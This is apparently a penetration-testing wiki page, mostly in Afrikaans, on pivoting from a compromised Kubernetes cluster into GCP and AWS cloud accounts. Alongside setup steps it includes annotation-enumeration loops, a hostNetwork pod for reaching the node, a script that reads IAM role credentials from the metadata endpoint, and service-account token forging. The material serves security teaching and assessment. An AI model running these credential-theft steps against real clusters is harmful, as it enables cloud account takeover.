# Kubernetes Pivoting to Clouds

{{#include ../../banners/hacktricks-training.md}}

## GCP

As jy 'n k8s cluster binne GCP bestuur, wil jy waarskynlik hê dat 'n toepassing wat binne die cluster loop, toegang tot GCP het. Daar is 2 algemene maniere om dit te doen:

### Mounting GCP-SA keys as secret

'n Algemene manier om toegang aan 'n kubernetes toepassing tot GCP te gee is om:

- Skep 'n GCP Service Account
- Ken die verlangde toestemmings daaraan toe
- Laai 'n json key van die geskepte SA af
- Monteer dit as 'n secret binne die pod
- Stel die GOOGLE_APPLICATION_CREDENTIALS environment variable wat na die pad wys waar die json is.

> [!WARNING]
> Daarom, as 'n **attacker**, as jy 'n container binne 'n pod kompromitteer, moet jy kyk vir daardie **env** **variable** en **json** **files** met GCP credentials.

### Relating GSA json to KSA secret

Een manier om toegang aan 'n GSA tot 'n GKE cluser te gee, is deur hulle op hierdie wyse te bind:

- Skep 'n Kubernetes service account in dieselfde namespace as jou GKE cluster met behulp van die volgende opdrag:
```bash
kubectl create serviceaccount <service-account-name>
```
- Skep 'n Kubernetes Secret wat die inlogbesonderhede van die GCP service account bevat wat jy toegang tot die GKE cluster wil gee. Jy kan dit doen met die `gcloud` opdragreëlhulpmiddel, soos in die volgende voorbeeld:
```bash
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
```
- Bind die Kubernetes Secret aan die Kubernetes service account met die volgende kommando:
```bash
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>
```
> [!WARNING]
> In die **tweede stap** is die **credentials of the GSA as secret of the KSA** gestel. As jy daardie **secret** van **binne** die **GKE** cluster kan **lees**, kan jy na daardie **GCP service account** eskaleer.

### GKE Workload Identity

Met Workload Identity kan ons configureer a[ Kubernetes service account](https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/) om op te tree as a[ Google service account](https://cloud.google.com/iam/docs/understanding-service-accounts). Pods wat met die Kubernetes service account loop sal outomaties as die Google service account autentikeer wanneer hulle Google Cloud APIs benader.

Die **eerste reeks stappe** om hierdie gedrag moontlik te maak is om **Workload Identity in GCP te aktiveer** ([**steps**](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)) en die GCP SA te skep wat jy wil hê k8s moet naboots.

- **Enable Workload Identity** op 'n nuwe cluster
```bash
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
```
- **Skep/Opdateer 'n nuwe nodepool** (Autopilot clusters benodig dit nie)
```bash
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
```
- Skep die **GCP Service Account to impersonate** vanaf K8s met GCP-regte:
```bash
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
```
- **Verbind met** die **cluster** en **skep** die **service account** om te gebruik
```bash
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
```
- **Koppel die GSA aan die KSA**
```bash
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
```
- Begin 'n **pod** met die **KSA** en kontroleer die **toegang** tot **GSA:**
```bash
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list
```
Kontroleer die volgende opdrag om te verifieer indien nodig:
```bash
gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json
```
> [!WARNING]
> As 'n attacker binne K8s moet jy **search for SAs** met die **`iam.gke.io/gcp-service-account` annotation`** aangesien dit aandui dat die SA toegang tot iets in GCP kan hê. 'n Ander opsie is om elke KSA in die cluster te probeer abuse en te kontroleer of dit toegang het.\
> Vanaf GCP is dit altyd interessant om die bindings te enumerate en te weet **watter toegang jy aan SAs binne Kubernetes gee**.

Dit is 'n skrip om maklik **over the all the pods** definisies **looking** for daardie **annotation**:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"
```
## AWS

### Kiam & Kube2IAM (IAM role for Pods) <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

Een (verouderde) manier om IAM Roles aan Pods te gee is om 'n [**Kiam**](https://github.com/uswitch/kiam) of 'n [**Kube2IAM**](https://github.com/jtblin/kube2iam) **server.** Basies sal jy 'n **daemonset** in jou cluster moet laat loop met 'n soort **privileged IAM role**. Hierdie daemonset sal die een wees wat toegang tot IAM roles aan die pods gee wat dit benodig.

Eerstens moet jy konfigureer **watter rolle binne die namespace toeganklik is**, en dit doen jy met 'n annotation binne die namespace object:
```yaml:Kiam
kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
```

```yaml:Kube2iam
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default
```
Sodra die namespace gekonfigureer is met die IAM roles wat die Pods kan hê, kan jy **aanwys watter role jy op elke pod definition wil hê met iets soos**:
```yaml:Kiam & Kube2iam
kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader
```
> [!WARNING]
> As 'n aanvaller, as jy **vind hierdie aantekeninge** in pods of namespaces of 'n kiam/kube2iam server wat draai (waarskynlik in kube-system) kan jy **naboots elke r**ol wat reeds **deur pods gebruik word** en meer (as jy toegang tot die AWS-rekening het, som die rolle op).

#### Skep Pod met IAM Role

> [!NOTE]
> Die IAM role wat aangedui word, moet in dieselfde AWS-rekening wees as die kiam/kube2iam role en daardie role moet toegang daartoe hê.
```yaml
echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -
```
### IAM-rol vir K8s Service Accounts deur OIDC <a href="#workflow-of-iam-role-for-service-accounts" id="workflow-of-iam-role-for-service-accounts"></a>

Dit is die **aanbevole manier deur AWS**.

1. Eerstens moet jy [create an OIDC provider for the cluster](https://docs.aws.amazon.com/eks/latest/userguide/enable-iam-roles-for-service-accounts.html).
2. Skep dan 'n IAM-rol met die toestemmings wat die SA nodig sal hê.
3. Skep 'n [trust relationship between the IAM role and the SA](https://docs.aws.amazon.com/eks/latest/userguide/associate-service-account-role.html) name (of die namespaces wat toegang tot die rol gee aan al die SAs in die namespace). _Die trust relationship sal hoofsaaklik die OIDC provider name, die namespace name en die SA name nagaan_.
4. Laastens, **skep 'n SA met 'n aantekening wat die ARN van die rol aandui**, en die pods wat met daardie SA loop sal **toegang tot die token van die rol hê**. Die **token** word **geskryf** binne 'n lêer en die pad word gespesifiseer in **`AWS_WEB_IDENTITY_TOKEN_FILE`** (default: `/var/run/secrets/eks.amazonaws.com/serviceaccount/token`)
```bash
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role
```
Om **aws met die token te kry** vanaf `/var/run/secrets/eks.amazonaws.com/serviceaccount/token` voer uit:
```bash
aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token
```
> [!WARNING]
> As an attacker, if you can enumerate a K8s cluster, check for **service accounts with that annotation** to **escalate to AWS**. To do so, just **exec/create** a **pod** using one of the IAM **privileged service accounts** and steal the token.
>
> Moreover, if you are inside a pod, check for env variables like **AWS_ROLE_ARN** and **AWS_WEB_IDENTITY_TOKEN.**

> [!CAUTION]
> Soms kan die **Turst Policy of a role** **bad configured** wees en in plaas daarvan om AssumeRole toegang te gee aan die verwagte service account, gee dit dit aan **all the service accounts**. Daarom, as jy in staat is om 'n annotasie op 'n controlled service account te skryf, kan jy toegang tot die role kry.
>
> Kyk na die **volgende bladsy vir meer inligting**:

{{#ref}}
../aws-security/aws-basic-information/aws-federation-abuse.md
{{#endref}}

### Vind Pods en SAs met IAM Roles in die Cluster

Dit is 'n script om maklik oor al die pods en SAs definisies te iterate wat na daardie annotation soek:
```bash
for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"
```
### Node IAM-rol na cluster-admin

Die vorige afdeling het gegaan oor hoe om IAM Roles met pods te steel, maar let daarop dat 'n **Node of the** K8s-kluster 'n **instansie inside the cloud** gaan wees. Dit beteken dat die Node hoogs waarskynlik 'n **IAM role you can steal** gaan hê (_let wel dat gewoonlik al die nodes van 'n K8s-kluster dieselfde IAM-rol het, so dit mag nie die moeite werd wees om elke node te probeer kontroleer nie_).

Om toegang tot die node metadata endpoint te kry, moet jy:
- Wees in 'n pod en hê die metadata endpoint gekonfigureer vir minstens 2 tcp hops. Dit is die mees algemene miskonfigurasie aangesien gewoonlik verskillende pods in die cluster toegang tot die metadata endpoint benodig om nie te breek nie, en verskeie maatskappye besluit net om toegang tot die metadata endpoint vanaf alle pods in die cluster toe te laat.
- Wees in 'n pod met `hostNetwork` enabled.
- Ontsnap na die node en kry direkte toegang tot die metadata endpoint.

(Let wel dat die metadata endpoint soos altyd by 169.254.169.254 is).

Om **na die node te ontsnap** kan jy die volgende opdrag gebruik om 'n pod met `hostNetwork` enabled te laat loop:
```bash
kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'
```
### Steal IAM Role Token

Voorheen het ons bespreek hoe om **attach IAM Roles to Pods** of selfs hoe om **escape to the Node to steal the IAM Role** wat aan die instansie gekoppel is.

Jy kan die volgende skrip gebruik om jou nuwe, met moeite vergaarde **IAM role credentials** te **steal**:
```bash
IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi
```
### Privesc to cluster-admin

Opsomming: as dit moontlik is om **toegang tot die EKS Node IAM role** vanaf 'n pod te kry, is dit moontlik om **kompromitteer die volledige kubernetes cluster**.

Vir meer inligting, kyk na [this post](https://blog.calif.io/p/privilege-escalation-in-eks). Opsommend, die standaard IAM EKS role wat aan die EKS nodes toegeken word, het binne die cluster die rol `system:node`. Hierdie rol is baie interessant, alhoewel dit beperk word deur die kubernetes [**Node Restrictions**](https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction).

Nietemin, die node kan altyd **genereer tokens vir service accounts** wat in pods binne die node loop. Dus, as die node 'n pod met 'n privileged service account laat loop, kan die node 'n token vir daardie service account genereer en dit gebruik om daardie service account na te boots soos in:
```bash
kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d
```
## Verwysings

- [https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity](https://cloud.google.com/kubernetes-engine/docs/how-to/workload-identity)
- [https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c](https://medium.com/zeotap-customer-intelligence-unleashed/gke-workload-identity-a-secure-way-for-gke-applications-to-access-gcp-services-f880f4e74e8c)
- [https://blogs.halodoc.io/iam-roles-for-service-accounts-2/](https://blogs.halodoc.io/iam-roles-for-service-accounts-2/)

{{#include ../../banners/hacktricks-training.md}}
